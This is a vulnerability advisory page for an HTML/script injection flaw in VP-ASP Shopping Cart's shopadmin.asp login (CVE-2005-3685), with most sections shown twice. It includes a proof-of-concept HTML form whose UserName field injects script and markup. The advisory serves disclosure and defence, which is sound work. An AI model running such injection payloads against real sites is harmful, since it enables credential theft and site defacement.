VP-ASP Shopping Cart Shopadmin.ASP HTML Injection Vulnerability
BID:15490
Info
VP-ASP Shopping Cart Shopadmin.ASP HTML Injection Vulnerability
| Bugtraq ID: | 15490 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-3685 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 17 2005 12:00AM |
| Updated: | Jul 12 2009 05:56PM |
| Credit: | ConcorDHacK is credited with the discovery of this vulnerability. |
| Vulnerable: |
VP-ASP Shopping Cart |
| Not Vulnerable: | |
Discussion
VP-ASP Shopping Cart Shopadmin.ASP HTML Injection Vulnerability
VP-ASP Shopping Cart is prone to an HTML injection vulnerability. This is due to a lack of proper validation of user-supplied input before being used in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
VP-ASP Shopping Cart is prone to an HTML injection vulnerability. This is due to a lack of proper validation of user-supplied input before being used in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
Exploit / POC
VP-ASP Shopping Cart Shopadmin.ASP HTML Injection Vulnerability
No exploit is required.
Proof of concept code has been provided:
<TITLE>VP-ASP Shopping UserName HTML Injection Vulnerability</TITLE>
<form action=http://www.example.com/shopadmin.asp name=LoginForm method=POST>
<input type=hidden name=UserName value='"><script>alert("Vulnerable server!!!
By ConcorDHacK")</script>
<b><font color="red" size="10">Vulnerable server<br>By [email protected]>
</font> </b>' /> <input type=hidden name=Password size="20" value="123"></td>
<input type=submit name="Login" value="GO ! GO !"><br><br><br>By ConcorDHacK<br>
<u>Email</u>: [email protected]<br>
<a href="http://hackzord-security.fr.tc">www.hackzord-security.fr.tc</a>
</form>
</body>
</HTML>
No exploit is required.
Proof of concept code has been provided:
<TITLE>VP-ASP Shopping UserName HTML Injection Vulnerability</TITLE>
<form action=http://www.example.com/shopadmin.asp name=LoginForm method=POST>
<input type=hidden name=UserName value='"><script>alert("Vulnerable server!!!
By ConcorDHacK")</script>
<b><font color="red" size="10">Vulnerable server<br>By [email protected]>
</font> </b>' /> <input type=hidden name=Password size="20" value="123"></td>
<input type=submit name="Login" value="GO ! GO !"><br><br><br>By ConcorDHacK<br>
<u>Email</u>: [email protected]<br>
<a href="http://hackzord-security.fr.tc">www.hackzord-security.fr.tc</a>
</form>
</body>
</HTML>
Solution / Fix
VP-ASP Shopping Cart Shopadmin.ASP HTML Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
VP-ASP Shopping Cart Shopadmin.ASP HTML Injection Vulnerability
References:
References:
- VP-ASP Shopping Cart Cross Scripting vulnérability (ConcorDHacK)